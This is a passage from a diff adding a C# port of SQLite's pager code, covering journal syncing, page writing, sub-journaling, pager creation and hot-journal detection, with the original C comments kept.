** page currently held in memory before returning SQLITE_OK. If an IO + ** error is encountered, then the IO error code is returned to the caller. + */ + static int syncJournal( Pager pPager ) + { + if ( pPager.needSync ) + { + Debug.Assert( !pPager.tempFile ); + if ( pPager.journalMode != PAGER_JOURNALMODE_MEMORY ) + { + int rc = SQLITE_OK; + int iDc = sqlite3OsDeviceCharacteristics( pPager.fd ); + Debug.Assert( isOpen( pPager.jfd ) ); + + if ( 0 == ( iDc & SQLITE_IOCAP_SAFE_APPEND ) ) + { + /* This block deals with an obscure problem. If the last connection + ** that wrote to this database was operating in persistent-journal + ** mode, then the journal file may at this point actually be larger + ** than Pager.journalOff bytes. If the next thing in the journal + ** file happens to be a journal-header (written as part of the + ** previous connections transaction), and a crash or power-failure + ** occurs after nRec is updated but before this connection writes + ** anything else to the journal file (or commits/rolls back its + ** transaction), then SQLite may become confused when doing the + ** hot-journal rollback following recovery. It may roll back all + ** of this connections data, then proceed to rolling back the old, + ** out-of-date data that follows it. Database corruption. + ** + ** To work around this, if the journal file does appear to contain + ** a valid header following Pager.journalOff, then write a 0x00 + ** byte to the start of it to prevent it from being recognized. + ** + ** Variable iNextHdrOffset is set to the offset at which this + ** problematic header will occur, if it exists. aMagic is used + ** as a temporary buffer to inspect the first couple of bytes of + ** the potential journal header. + */ + i64 iNextHdrOffset; + u8[] aMagic = new u8[8]; + u8[] zHeader = new u8[aJournalMagic.Length + 4]; + aJournalMagic.CopyTo( zHeader, 0 );// memcpy(zHeader, aJournalMagic, sizeof(aJournalMagic)); + put32bits( zHeader, aJournalMagic.Length, pPager.nRec ); + iNextHdrOffset = journalHdrOffset( pPager ); + rc = sqlite3OsRead( pPager.jfd, aMagic, 8, iNextHdrOffset ); + if ( rc == SQLITE_OK && 0 == memcmp( aMagic, aJournalMagic, 8 ) ) + { + u8[] zerobyte = new u8[1]; + rc = sqlite3OsWrite( pPager.jfd, zerobyte, 1, iNextHdrOffset ); + } + if ( rc != SQLITE_OK && rc != SQLITE_IOERR_SHORT_READ ) + { + return rc; + } + + /* Write the nRec value into the journal file header. If in + ** full-synchronous mode, sync the journal first. This ensures that + ** all data has really hit the disk before nRec is updated to mark + ** it as a candidate for rollback. + ** + ** This is not required if the persistent media supports the + ** SAFE_APPEND property. Because in this case it is not possible + ** for garbage data to be appended to the file, the nRec field + ** is populated with 0xFFFFFFFF when the journal header is written + ** and never needs to be updated. + */ + if ( pPager.fullSync && 0 == ( iDc & SQLITE_IOCAP_SEQUENTIAL ) ) + { + + PAGERTRACE( "SYNC journal of %d\n", PAGERID( pPager ) ); + IOTRACE( "JSYNC %p\n", pPager ); + rc = sqlite3OsSync( pPager.jfd, pPager.sync_flags ); + if ( rc != SQLITE_OK ) return rc; + } + IOTRACE( "JHDR %p %lld\n", pPager, pPager.journalHdr ); + rc = sqlite3OsWrite( + pPager.jfd, zHeader, zHeader.Length, pPager.journalHdr + ); + if ( rc != SQLITE_OK ) return rc; + } + if ( 0 == ( iDc & SQLITE_IOCAP_SEQUENTIAL ) ) + { + + PAGERTRACE( "SYNC journal of %d\n", PAGERID( pPager ) ); + IOTRACE( "JSYNC %p\n", pPager ); + rc = sqlite3OsSync( pPager.jfd, pPager.sync_flags | + ( pPager.sync_flags == SQLITE_SYNC_FULL ? SQLITE_SYNC_DATAONLY : 0 ) + ); + if ( rc != SQLITE_OK ) return rc; + } + } + + /* The journal file was just successfully synced. Set Pager.needSync + ** to zero and clear the PGHDR_NEED_SYNC flag on all pagess. + */ + pPager.needSync = false; + pPager.journalStarted = true; + sqlite3PcacheClearSyncFlags( pPager.pPCache ); + } + return SQLITE_OK; + } + + /* + ** The argument is the first in a linked list of dirty pages connected + ** by the PgHdr.pDirty pointer. This function writes each one of the + ** in-memory pages in the list to the database file. The argument may + ** be NULL, representing an empty list. In this case this function is + ** a no-op. + ** + ** The pager must hold at least a RESERVED lock when this function + ** is called. Before writing anything to the database file, this lock + ** is upgraded to an EXCLUSIVE lock. If the lock cannot be obtained, + ** SQLITE_BUSY is returned and no data is written to the database file. + ** + ** If the pager is a temp-file pager and the actual file-system file + ** is not yet open, it is created and opened before any data is + ** written out. + ** + ** Once the lock has been upgraded and, if necessary, the file opened, + ** the pages are written out to the database file in list order. Writing + ** a page is skipped if it meets either of the following criteria: + ** + ** * The page number is greater than Pager.dbSize, or + ** * The PGHDR_DONT_WRITE flag is set on the page. + ** + ** If writing out a page causes the database file to grow, Pager.dbFileSize + ** is updated accordingly. If page 1 is written out, then the value cached + ** in Pager.dbFileVers[] is updated to match the new value stored in + ** the database file. + ** + ** If everything is successful, SQLITE_OK is returned. If an IO error + ** occurs, an IO error code is returned. Or, if the EXCLUSIVE lock cannot + ** be obtained, SQLITE_BUSY is returned. + */ + static int pager_write_pagelist( PgHdr pList ) + { + Pager pPager; /* Pager object */ + int rc; /* Return code */ + + if (NEVER( pList == null )) return SQLITE_OK; + pPager = pList.pPager; + + /* At this point there may be either a RESERVED or EXCLUSIVE lock on the + ** database file. If there is already an EXCLUSIVE lock, the following + ** call is a no-op. + ** + ** Moving the lock from RESERVED to EXCLUSIVE actually involves going + ** through an intermediate state PENDING. A PENDING lock prevents new + ** readers from attaching to the database but is unsufficient for us to + ** write. The idea of a PENDING lock is to prevent new readers from + ** coming in while we wait for existing readers to clear. + ** + ** While the pager is in the RESERVED state, the original database file + ** is unchanged and we can rollback without having to playback the + ** journal into the original database file. Once we transition to + ** EXCLUSIVE, it means the database file has been changed and any rollback + ** will require a journal playback. + */ + Debug.Assert( pPager.state >= PAGER_RESERVED ); + rc = pager_wait_on_lock( pPager, EXCLUSIVE_LOCK ); + /* If the file is a temp-file has not yet been opened, open it now. It + ** is not possible for rc to be other than SQLITE_OK if this branch + ** is taken, as pager_wait_on_lock() is a no-op for temp-files. + */ + if ( !isOpen( pPager.fd ) ) + { + Debug.Assert( pPager.tempFile && rc == SQLITE_OK ); + rc = pagerOpentemp( pPager, ref pPager.fd, (int)pPager.vfsFlags ); + } + + while ( rc == SQLITE_OK && pList ) + { + Pgno pgno = pList.pgno; + + /* If there are dirty pages in the page cache with page numbers greater + ** than Pager.dbSize, this means sqlite3PagerTruncateImage() was called to + ** make the file smaller (presumably by auto-vacuum code). Do not write + ** any such pages to the file. + ** + ** Also, do not write out any page that has the PGHDR_DONT_WRITE flag + ** set (set by sqlite3PagerDontWrite()). + */ + if ( pList.pgno <= pPager.dbSize && 0 == ( pList.flags & PGHDR_DONT_WRITE ) ) + { + i64 offset = ( pList.pgno - 1 ) * (i64)pPager.pageSize; /* Offset to write */ + byte[] pData = null; /* Data to write */ + + /* Encode the database */ + CODEC2( pPager, pList.pData, pgno, 6, SQLITE_NOMEM, ref pData );// CODEC2(pPager, pList->pData, pgno, 6, return SQLITE_NOMEM, pData); + + /* Write out the page data. */ + rc = sqlite3OsWrite( pPager.fd, pData, pPager.pageSize, offset ); + /* If page 1 was just written, update Pager.dbFileVers to match + ** the value now stored in the database file. If writing this + ** page caused the database file to grow, update dbFileSize. + */ + if ( pgno == 1 ) + { + Buffer.BlockCopy( pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length );// memcpy(pPager.dbFileVers, pData[24], pPager.dbFileVers).Length; + } + if ( pgno > pPager.dbFileSize ) + { + pPager.dbFileSize = pgno; + } + /* Update any backup objects copying the contents of this pager. */ + sqlite3BackupUpdate( pPager.pBackup, pgno, pList.pData ); + + + PAGERTRACE( "STORE %d page %d hash(%08x)\n", + PAGERID( pPager ), pgno, pager_pagehash( pList ) ); + IOTRACE( "PGOUT %p %d\n", pPager, pgno ); +#if SQLITE_TEST + int iValue; + iValue = sqlite3_pager_writedb_count.iValue; + PAGER_INCR( ref iValue ); + sqlite3_pager_writedb_count.iValue = iValue; + + PAGER_INCR( ref pPager.nWrite ); +#endif + } + else + { + + PAGERTRACE( "NOSTORE %d page %d\n", PAGERID( pPager ), pgno ); + } +#if SQLITE_CHECK_PAGES +pList.pageHash = pager_pagehash(pList); +#endif + pList = pList.pDirty; + } + return rc; + } + + /* + ** Append a record of the current state of page pPg to the sub-journal. + ** It is the callers responsibility to use subjRequiresPage() to check + ** that it is really required before calling this function. + ** + ** If successful, set the bit corresponding to pPg.pgno in the bitvecs + ** for all open savepoints before returning. + ** + ** This function returns SQLITE_OK if everything is successful, an IO + ** error code if the attempt to write to the sub-journal fails, or + ** SQLITE_NOMEM if a malloc fails while setting a bit in a savepoint + ** bitvec. + */ + static int subjournalPage( PgHdr pPg ) + { + int rc = SQLITE_OK; + Pager pPager = pPg.pPager; + if ( isOpen( pPager.sjfd ) ) + { + byte[] pData = pPg.pData; + i64 offset = pPager.nSubRec * ( 4 + pPager.pageSize ); + byte[] pData2 = null; + + CODEC2( pPager, pData, pPg.pgno, 7, SQLITE_NOMEM, ref pData2 );//CODEC2(pPager, pData, pPg.pgno, 7, return SQLITE_NOMEM, pData2); + PAGERTRACE( "STMT-JOURNAL %d page %d\n", PAGERID( pPager ), pPg.pgno ); + Debug.Assert( pageInJournal( pPg ) || pPg.pgno > pPager.dbOrigSize ); + rc = write32bits( pPager.sjfd, offset, pPg.pgno ); + if ( rc == SQLITE_OK ) + { + rc = sqlite3OsWrite( pPager.sjfd, pData2, pPager.pageSize, offset + 4 ); + } + } + if ( rc == SQLITE_OK ) + { + pPager.nSubRec++; + Debug.Assert( pPager.nSavepoint > 0 ); + rc = addToSavepointBitvecs( pPager, pPg.pgno ); + } + return rc; + } + + /* + ** This function is called by the pcache layer when it has reached some + ** soft memory limit. The first argument is a pointer to a Pager object + ** (cast as a void*). The pager is always 'purgeable' (not an in-memory + ** database). The second argument is a reference to a page that is + ** currently dirty but has no outstanding references. The page + ** is always associated with the Pager object passed as the first + ** argument. + ** + ** The job of this function is to make pPg clean by writing its contents + ** out to the database file, if possible. This may involve syncing the + ** journal file. + ** + ** If successful, sqlite3PcacheMakeClean() is called on the page and + ** SQLITE_OK returned. If an IO error occurs while trying to make the + ** page clean, the IO error code is returned. If the page cannot be + ** made clean for some other reason, but no error occurs, then SQLITE_OK + ** is returned by sqlite3PcacheMakeClean() is not called. + */ + static int pagerStress( object p, PgHdr pPg ) + { + Pager pPager = (Pager)p; + int rc = SQLITE_OK; + + Debug.Assert( pPg.pPager == pPager ); + Debug.Assert( ( pPg.flags & PGHDR_DIRTY ) != 0 ); + + /* The doNotSync flag is set by the sqlite3PagerWrite() function while it + ** is journalling a set of two or more database pages that are stored + ** on the same disk sector. Syncing the journal is not allowed while + ** this is happening as it is important that all members of such a + ** set of pages are synced to disk together. So, if the page this function + ** is trying to make clean will require a journal sync and the doNotSync + ** flag is set, return without doing anything. The pcache layer will + ** just have to go ahead and allocate a new page buffer instead of + ** reusing pPg. + ** + ** Similarly, if the pager has already entered the error state, do not + ** try to write the contents of pPg to disk. + */ + if ( NEVER( pPager.errCode !=0) + || ( pPager.doNotSync && (pPg.flags & PGHDR_NEED_SYNC )!=0) + ) + { + return SQLITE_OK; + } + + /* Sync the journal file if required. */ + if ( ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ) + { + rc = syncJournal( pPager ); + if ( rc == SQLITE_OK && pPager.fullSync && + !( pPager.journalMode == PAGER_JOURNALMODE_MEMORY ) && + 0 == ( sqlite3OsDeviceCharacteristics( pPager.fd ) & SQLITE_IOCAP_SAFE_APPEND ) + ) + { + pPager.nRec = 0; + rc = writeJournalHdr( pPager ); + } + } + + /* If the page number of this page is larger than the current size of + ** the database image, it may need to be written to the sub-journal. + ** This is because the call to pager_write_pagelist() below will not + ** actually write data to the file in this case. + ** + ** Consider the following sequence of events: + ** + ** BEGIN; + ** + ** + ** SAVEPOINT sp; + ** + ** pagerStress(page X) + ** ROLLBACK TO sp; + ** + ** If (X>Y), then when pagerStress is called page X will not be written + ** out to the database file, but will be dropped from the cache. Then, + ** following the "ROLLBACK TO sp" statement, reading page X will read + ** data from the database file. This will be the copy of page X as it + ** was when the transaction started, not as it was when "SAVEPOINT sp" + ** was executed. + ** + ** The solution is to write the current data for page X into the + ** sub-journal file now (if it is not already there), so that it will + ** be restored to its current value when the "ROLLBACK TO sp" is + ** executed. + */ + if ( NEVER( + rc == SQLITE_OK && pPg.pgno > pPager.dbSize && subjRequiresPage( pPg ) + ) ) + { + rc = subjournalPage( pPg ); + } + + /* Write the contents of the page out to the database file. */ + if ( rc == SQLITE_OK ) + { + pPg.pDirty = null; + rc = pager_write_pagelist( pPg ); + } + + /* Mark the page as clean. */ + if ( rc == SQLITE_OK ) + { + PAGERTRACE( "STRESS %d page %d\n", PAGERID( pPager ), pPg.pgno ); + sqlite3PcacheMakeClean( pPg ); + } + + return pager_error( pPager, rc ); + } + + + /* + ** Allocate and initialize a new Pager object and put a pointer to it + ** in *ppPager. The pager should eventually be freed by passing it + ** to sqlite3PagerClose(). + ** + ** The zFilename argument is the path to the database file to open. + ** If zFilename is NULL then a randomly-named temporary file is created + ** and used as the file to be cached. Temporary files are be deleted + ** automatically when they are closed. If zFilename is ":memory:" then + ** all information is held in cache. It is never written to disk. + ** This can be used to implement an in-memory database. + ** + ** The nExtra parameter specifies the number of bytes of space allocated + ** along with each page reference. This space is available to the user + ** via the sqlite3PagerGetExtra() API. + ** + ** The flags argument is used to specify properties that affect the + ** operation of the pager. It should be passed some bitwise combination + ** of the PAGER_OMIT_JOURNAL and PAGER_NO_READLOCK flags. + ** + ** The vfsFlags parameter is a bitmask to pass to the flags parameter + ** of the xOpen() method of the supplied VFS when opening files. + ** + ** If the pager object is allocated and the specified file opened + ** successfully, SQLITE_OK is returned and *ppPager set to point to + ** the new pager object. If an error occurs, *ppPager is set to NULL + ** and error code returned. This function may return SQLITE_NOMEM + ** (sqlite3Malloc() is used to allocate memory), SQLITE_CANTOPEN or + ** various SQLITE_IO_XXX errors. + */ + static int sqlite3PagerOpen( + sqlite3_vfs pVfs, /* The virtual file system to use */ + ref Pager ppPager, /* OUT: Return the Pager structure here */ + string zFilename, /* Name of the database file to open */ + int nExtra, /* Extra bytes append to each in-memory page */ + int flags, /* flags controlling this file */ + int vfsFlags, /* flags passed through to sqlite3_vfs.xOpen() */ + dxReiniter xReinit /* Function to reinitialize pages */ + ) + { + u8 pPtr; + Pager pPager = null; /* Pager object to allocate and return */ + int rc = SQLITE_OK; /* Return code */ + u8 tempFile = 0; /* True for temp files (incl. in-memory files) */ // Needs to be u8 for later tests + u8 memDb = 0; /* True if this is an in-memory file */ + bool readOnly = false; /* True if this is a read-only file */ + int journalFileSize; /* Bytes to allocate for each journal fd */ + StringBuilder zPathname = null; /* Full path to database file */ + int nPathname = 0; /* Number of bytes in zPathname */ + bool useJournal = ( flags & PAGER_OMIT_JOURNAL ) == 0; /* False to omit journal */ + bool noReadlock = ( flags & PAGER_NO_READLOCK ) != 0; /* True to omit read-lock */ + int pcacheSize = sqlite3PcacheSize(); /* Bytes to allocate for PCache */ + u16 szPageDflt = SQLITE_DEFAULT_PAGE_SIZE; /* Default page size */ + + /* Figure out how much space is required for each journal file-handle + ** (there are two of them, the main journal and the sub-journal). This + ** is the maximum space required for an in-memory journal file handle + ** and a regular journal file-handle. Note that a "regular journal-handle" + ** may be a wrapper capable of caching the first portion of the journal + ** file in memory to implement the atomic-write optimization (see + ** source file journal.c). + */ + if ( sqlite3JournalSize( pVfs ) > sqlite3MemJournalSize() ) + { + journalFileSize = ROUND8( sqlite3JournalSize( pVfs ) ); + } + else + { + journalFileSize = ROUND8( sqlite3MemJournalSize() ); + } + + /* Set the output variable to NULL in case an error occurs. */ + ppPager = null; + + /* Compute and store the full pathname in an allocated buffer pointed + ** to by zPathname, length nPathname. Or, if this is a temporary file, + ** leave both nPathname and zPathname set to 0. + */ + if ( !String.IsNullOrEmpty( zFilename ) ) + { + nPathname = pVfs.mxPathname + 1; + zPathname = new StringBuilder( nPathname * 2 );// sqlite3Malloc( nPathname * 2 ); + if ( zPathname == null ) + { + return SQLITE_NOMEM; + } +#if !SQLITE_OMIT_MEMORYDB + if ( zFilename == ":memory:" )//if( strcmp(zFilename,":memory:")==null ) + { + memDb = 1; + zPathname.Length = 0; + } + else +#endif + { + //zPathname[0] = 0; /* Make sure initialized even if FullPathname() fails */ + rc = sqlite3OsFullPathname( pVfs, zFilename, nPathname, zPathname ); + } + + nPathname = sqlite3Strlen30( zPathname ); + if ( rc == SQLITE_OK && nPathname + 8 > pVfs.mxPathname ) + { + /* This branch is taken when the journal path required by + ** the database being opened will be more than pVfs.mxPathname + ** bytes in length. This means the database cannot be opened, + ** as it will not be possible to open the journal file or even + ** check for a hot-journal before reading. + */ + rc = SQLITE_CANTOPEN; + } + if ( rc != SQLITE_OK ) + { + //sqlite3_free( ref zPathname ); + return rc; + } + } + + /* Allocate memory for the Pager structure, PCache object, the + ** three file descriptors, the database file name and the journal + ** file name. The layout in memory is as follows: + ** + ** Pager object (sizeof(Pager) bytes) + ** PCache object (sqlite3PcacheSize() bytes) + ** Database file handle (pVfs.szOsFile bytes) + ** Sub-journal file handle (journalFileSize bytes) + ** Main journal file handle (journalFileSize bytes) + ** Database file name (nPathname+1 bytes) + ** Journal file name (nPathname+8+1 bytes) + */ + //pPtr = (u8 *)sqlite3MallocZero( + // ROUND8(sizeof(*pPager)) + /* Pager structure */ + // ROUND8(pcacheSize) + /* PCache object */ + // ROUND8(pVfs.szOsFile) + /* The main db file */ + // journalFileSize * 2 + /* The two journal files */ + // nPathname + 1 + /* zFilename */ + // nPathname + 8 + 1 /* zJournal */ + //); + // assert( EIGHT_BYTE_ALIGNMENT(SQLITE_INT_TO_PTR(journalFileSize))); + //if( !pPtr ){ + // //sqlite3_free(zPathname); + // return SQLITE_NOMEM; + //} + pPager = new Pager();//(Pager*)(pPtr); + pPager.pPCache = new PCache();//(PCache*)(pPtr += ROUND8(sizeof(*pPager))); + pPager.fd = new sqlite3_file();//(sqlite3_file*)(pPtr += ROUND8(pcacheSize)); + pPager.sjfd = new sqlite3_file();//(sqlite3_file*)(pPtr += ROUND8(pVfs->szOsFile)); + pPager.jfd = new sqlite3_file();//(sqlite3_file*)(pPtr += journalFileSize); + //pPager.zFilename = (char*)(pPtr += journalFileSize); + //assert( EIGHT_BYTE_ALIGNMENT(pPager->jfd) ); + + /* Fill in the Pager.zFilename and Pager.zJournal buffers, if required. */ + if ( zPathname != null ) + { + //pPager.zJournal = (char*)(pPtr += nPathname + 1); + //memcpy(pPager.zFilename, zPathname, nPathname); + pPager.zFilename = zPathname.ToString(); + //memcpy(pPager.zJournal, zPathname, nPathname); + //memcpy(&pPager.zJournal[nPathname], "-journal", 8); + pPager.zJournal = pPager.zFilename + "-journal"; + if ( pPager.zFilename.Length==0) pPager.zJournal = ""; + //sqlite3_free( ref zPathname ); + } + else + { + pPager.zFilename = ""; + } + pPager.pVfs = pVfs; + pPager.vfsFlags = (u32)vfsFlags; + + /* Open the pager file. + */ + if (!String.IsNullOrEmpty(zFilename) && 0 == memDb) + { + int fout = 0; /* VFS flags returned by xOpen() */ + rc = sqlite3OsOpen( pVfs, pPager.zFilename, pPager.fd, vfsFlags, ref fout ); + readOnly = ( fout & SQLITE_OPEN_READONLY ) != 0; + + /* If the file was successfully opened for read/write access, + ** choose a default page size in case we have to create the + ** database file. The default page size is the maximum of: + ** + ** + SQLITE_DEFAULT_PAGE_SIZE, + ** + The value returned by sqlite3OsSectorSize() + ** + The largest page size that can be written atomically. + */ + if ( rc == SQLITE_OK && !readOnly ) + { + setSectorSize( pPager ); + Debug.Assert( SQLITE_DEFAULT_PAGE_SIZE <= SQLITE_MAX_DEFAULT_PAGE_SIZE ); + if ( szPageDflt < pPager.sectorSize ) + { + if ( pPager.sectorSize > SQLITE_MAX_DEFAULT_PAGE_SIZE ) + { + szPageDflt = SQLITE_MAX_DEFAULT_PAGE_SIZE; + } + else + { + szPageDflt = (u16)pPager.sectorSize; + } + } +#if SQLITE_ENABLE_ATOMIC_WRITE +{ +int iDc = sqlite3OsDeviceCharacteristics(pPager.fd); +int ii; +Debug.Assert(SQLITE_IOCAP_ATOMIC512==(512>>8)); +Debug.Assert(SQLITE_IOCAP_ATOMIC64K==(65536>>8)); +Debug.Assert(SQLITE_MAX_DEFAULT_PAGE_SIZE<=65536); +for(ii=szPageDflt; ii<=SQLITE_MAX_DEFAULT_PAGE_SIZE; ii=ii*2){ +if( iDc&(SQLITE_IOCAP_ATOMIC|(ii>>8)) ){ +szPageDflt = ii; +} +} +} +#endif + } + } + else + { + /* If a temporary file is requested, it is not opened immediately. + ** In this case we accept the default page size and delay actually + ** opening the file until the first call to OsWrite(). + ** + ** This branch is also run for an in-memory database. An in-memory + ** database is the same as a temp-file that is never written out to + ** disk and uses an in-memory rollback journal. + */ + tempFile = 1; + pPager.state = PAGER_EXCLUSIVE; + readOnly = ( vfsFlags & SQLITE_OPEN_READONLY ) != 0; + } + + /* The following call to PagerSetPagesize() serves to set the value of + ** Pager.pageSize and to allocate the Pager.pTmpSpace buffer. + */ + if ( rc == SQLITE_OK ) + { + Debug.Assert( pPager.memDb == 0 ); + rc = sqlite3PagerSetPagesize( pPager, ref szPageDflt, -1 ); + testcase( rc != SQLITE_OK ); + } + + /* If an error occurred in either of the blocks above, free the + ** Pager structure and close the file. + */ + if ( rc != SQLITE_OK ) + { + Debug.Assert( null == pPager.pTmpSpace ); + sqlite3OsClose( pPager.fd ); + //sqlite3_free( ref pPager ); + return rc; + } + + /* Initialize the PCache object. */ + Debug.Assert( nExtra < 1000 ); + nExtra = ROUND8( nExtra ); + sqlite3PcacheOpen(szPageDflt, nExtra, 0 == memDb, + 0 == memDb ? (dxStress)pagerStress : null, pPager, pPager.pPCache); + + PAGERTRACE( "OPEN %d %s\n", FILEHANDLEID( pPager.fd ), pPager.zFilename ); + IOTRACE( "OPEN %p %s\n", pPager, pPager.zFilename ); + pPager.useJournal = (u8)( useJournal ? 1 : 0 ); + pPager.noReadlock = (u8)( noReadlock && readOnly ? 1 : 0 ); + /* pPager.stmtOpen = 0; */ + /* pPager.stmtInUse = 0; */ + /* pPager.nRef = 0; */ + pPager.dbSizeValid = memDb!=0; + /* pPager.stmtSize = 0; */ + /* pPager.stmtJSize = 0; */ + /* pPager.nPage = 0; */ + pPager.mxPgno = SQLITE_MAX_PAGE_COUNT; + /* pPager.state = PAGER_UNLOCK; */ + Debug.Assert( pPager.state == ( tempFile != 0 ? PAGER_EXCLUSIVE : PAGER_UNLOCK ) ); + /* pPager.errMask = 0; */ + pPager.tempFile = tempFile != 0; + Debug.Assert( tempFile == PAGER_LOCKINGMODE_NORMAL + || tempFile == PAGER_LOCKINGMODE_EXCLUSIVE ); + Debug.Assert( PAGER_LOCKINGMODE_EXCLUSIVE == 1 ); + pPager.exclusiveMode = tempFile != 0; + pPager.changeCountDone = pPager.tempFile; + pPager.memDb = memDb; + pPager.readOnly = readOnly; + /* pPager.needSync = 0; */ + Debug.Assert( useJournal || pPager.tempFile ); + pPager.noSync = pPager.tempFile; + pPager.fullSync = pPager.noSync; + pPager.sync_flags = SQLITE_SYNC_NORMAL; + /* pPager.pFirst = 0; */ + /* pPager.pFirstSynced = 0; */ + /* pPager.pLast = 0; */ + pPager.nExtra = (u16)nExtra; + pPager.journalSizeLimit = SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT; + Debug.Assert( isOpen( pPager.fd ) || tempFile != 0 ); + setSectorSize( pPager ); + if ( !useJournal ) + { + pPager.journalMode = PAGER_JOURNALMODE_OFF; + } + else if ( memDb != 0 ) + { + pPager.journalMode = PAGER_JOURNALMODE_MEMORY; + } + /* pPager.xBusyHandler = 0; */ + /* pPager.pBusyHandlerArg = 0; */ + pPager.xReiniter = xReinit; + /* memset(pPager.aHash, 0, sizeof(pPager.aHash)); */ + ppPager = pPager; + return SQLITE_OK; + } + + + + /* + ** This function is called after transitioning from PAGER_UNLOCK to + ** PAGER_SHARED state. It tests if there is a hot journal present in + ** the file-system for the given pager. A hot journal is one that + ** needs to be played back. According to this function, a hot-journal + ** file exists if the following criteria are met: + ** + ** * The journal file exists in the file system, and + ** * No process holds a RESERVED or greater lock on the database file, and + ** * The database file itself is greater than 0 bytes in size, and + ** * The first byte of the journal file exists and is not 0x00. + ** + ** If the current size of the database file is 0 but a journal file + ** exists, that is probably an old journal left over from a prior + ** database with the same name. In this case the journal file is + ** just deleted using OsDelete, *pExists is set to 0 and SQLITE_OK + ** is returned. + ** + ** This routine does not check if there is a master journal filename + ** at the end of the file. If there is, and that master journal file + ** does not exist, then the journal file is not really hot. In this + ** case this routine will return a false-positive. The pager_playback() + ** routine will discover that the journal file is not really hot and + ** will not roll it back. + ** + ** If a hot-journal file is found to exist, *pExists is set to 1 and + ** SQLITE_OK returned. If no hot-journal file is present, *pExists is + ** set to 0 and SQLITE_OK returned. If an IO error occurs while trying + ** to determine whether or not a hot-journal file exists, the IO error + ** code is returned and the value of *pExists is undefined. + */ + static int hasHotJournal( Pager pPager, ref int pExists ) + { + sqlite3_vfs pVfs = pPager.pVfs; + int rc; /* Return code */ + int exists = 0; /* True if a journal file is present */ + Debug.Assert( pPager != null ); + Debug.Assert( pPager.useJournal != 0 ); + Debug.Assert( pPager.state <= PAGER_SHARED ); + + pExists = 0; + + rc = sqlite3OsAccess( pVfs, pPager.zJournal, SQLITE_ACCESS_EXISTS, ref exists ); + if ( rc == SQLITE_OK && exists != 0 ) + { + int locked = 0; /* True if some process holds a RESERVED lock */ + + /* Race condition here: Another process might have been holding the + ** the RESERVED lock and have a journal open at the sqlite3OsAccess() + ** call above, but then delete the journal and drop the lock before + ** we get to the following sqlite3OsCheckReservedLock() call. If that + ** is the case, this routine might think there is a hot journal when + ** in fact there is none. This results in a false-positive which will + ** be dealt with by the playback routine. Ticket #3883. + */ + rc = sqlite3OsCheckReservedLock( pPager.fd, ref locked ); + if ( rc == SQLITE_OK && locked == 0 ) + { + int nPage = 0; + + /* Check the size of the database file. If it consists of 0 pages, + ** then delete the journal file. See the header comment above for + ** the reasoning here. Delete the obsolete journal file under + ** a RESERVED lock to avoid race conditions and to avoid violating + ** [H33020]. + */ + rc = sqlite3PagerPagecount( pPager, ref nPage ); + if ( rc == SQLITE_OK ) + { + if ( nPage == 0 ) + { + sqlite3BeginBenignMalloc(); + if ( sqlite3OsLock( pPager.fd, RESERVED_LOCK ) == SQLITE_OK ) + { + sqlite3OsDelete( pVfs, pPager.zJournal, 0 ); + sqlite3OsUnlock( pPager.fd, SHARED_LOCK ); + } + sqlite3EndBenignMalloc(); + } + else + { + /* The journal file exists and no other connection has a reserved + ** or greater lock on the database file. Now check that there is + ** at least one non-zero bytes at the start of the journal file. + ** If there is, then we consider this journal to be hot. If not, + ** it can be ignored. + */ + int f = SQLITE_OPEN_READONLY | SQLITE_OPEN_MAIN_JOURNAL; + rc = sqlite3OsOpen( pVfs, pPager.zJournal, pPager.jfd, f, ref f ); + if ( rc == SQLITE_OK ) + { + u8[] first = new u8[1]; + rc = sqlite3OsRead( pPager.jfd, first, 1, 0 ); + if ( rc == SQLITE_IOERR_SHORT_READ ) + { + rc = SQLITE_OK; + } + sqlite3OsClose( pPager.jfd ); + pExists = ( first[0] != 0 ) ? 1 : 0; + } + else if ( rc == SQLITE_CANTOPEN ) + { + /* If we cannot open the rollback journal file in order to see if + ** its has a zero header, that might be due to an I/O error, or + ** it might be due to the race condition described above and in + ** ticket #3883. Either way, assume that the journal is hot. + ** This might be a false positive. But if it is, then the + ** automatic journal playback and recovery mechanism will deal + ** with it under an EXCLUSIVE lock where we do not need to + ** worry so much with race conditions. + */ + pExists = 1; + rc = SQLITE_OK; + } + } + } + } + } + return rc; + } + + + /* + ** Read the content for page pPg out of the database file and into + ** pPg->pData. A shared lock or greater must be held on the database + ** file before this function is called. + ** + ** If page 1 is read, then the value of Pager.dbFileVers[] is set to + ** the value read from the database file. + ** + ** If an IO error occurs, then the IO error is returned to the caller. + ** Otherwise, SQLITE_OK is returned. + */ + static int readDbPage( PgHdr pPg ) + { + Pager pPager = pPg.pPager; /* Pager object associated with page pPg */ + Pgno pgno = pPg.pgno; /* Page number to read */ + int rc; /* Return code */ + i64 iOffset; /* Byte offset of file to read from */ +#if SQLITE_OMIT_MEMORYDB +Debug.Assert( pPager.state>=PAGER_SHARED && 0==MEMDB ); +#endif + Debug.Assert( isOpen( pPager.fd ) ); + Debug.Assert( pPager.fd.pMethods != null || pPager.tempFile ); + if ( NEVER(!isOpen( pPager.fd ) )) + { + Debug.Assert( pPager.tempFile ); + pPg.pData = new u8[pPager.pageSize];//memset(pPg->pData, 0, pPager.pageSize); + return SQLITE_OK; + } + iOffset = ( pgno - 1 ) * (i64)pPager.pageSize; + rc = sqlite3OsRead( pPager.fd, pPg.pData, pPager.pageSize, iOffset ); + if ( rc == SQLITE_IOERR_SHORT_READ ) + { + rc = SQLITE_OK; + } + if ( pgno == 1 ) + { + //u8 *dbFileVers = &((u8*)pPg->pData)[24]; + //memcpy(&pPager.dbFileVers, dbFileVers, sizeof(pPager.dbFileVers)); + Buffer.BlockCopy( pPg.pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length ); + } +#if SQLITE_HAS_CODEC +CODEC1(pPager, pPg.pData, pPg.pgno, 3, rc = SQLITE_NOMEM); +#endif +#if SQLITE_TEST + int iValue; + iValue = sqlite3_pager_readdb_count.iValue; + PAGER_INCR( ref iValue ); + sqlite3_pager_readdb_count.iValue = iValue; + + PAGER_INCR( ref pPager.nRead ); +#endif + IOTRACE( "PGIN %p %d\n", pPager, pgno ); + PAGERTRACE( "FETCH %d page %d hash(%08x)\n", + PAGERID( pPager ), pgno, pager_pagehash( pPg ) ); + return rc; + } + + + /* + ** This function is called to obtain a shared lock on the database file. + ** It is illegal to call sqlite3PagerAcquire() until after this function + ** has been successfully called. If a shared-lock is already held when + ** this function is called, it is a no-op. + ** 